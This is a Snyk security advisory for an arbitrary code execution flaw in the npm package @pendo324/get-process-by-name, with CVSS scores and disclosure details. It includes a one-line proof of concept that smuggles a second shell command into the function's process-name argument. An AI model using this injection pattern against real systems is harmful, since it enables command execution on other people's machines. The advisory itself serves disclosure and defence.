Arbitrary Code Execution Affecting @pendo324/get-process-by-name package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.48% (77th percentile)

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  • Snyk ID SNYK-JS-PENDO324GETPROCESSBYNAME-2419094
  • published 28 Aug 2022
  • disclosed 7 Mar 2022
  • credit Feng Xiao, Zhongfu Su

How to fix?

There is no fixed version for @pendo324/get-process-by-name.

Overview

@pendo324/get-process-by-name is a Returns a list of processes that match a process name

Affected versions of this package are vulnerable to Arbitrary Code Execution due to improper sanitization of getProcessByName function.

PoC

const { getProcessByName } = require('@pendo324/get-process-by-name');
getProcessByName("python\" && echo \"1\"> rce.txt # "")

References

CVSS Scores

version 3.1
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Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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NVD

9.8 critical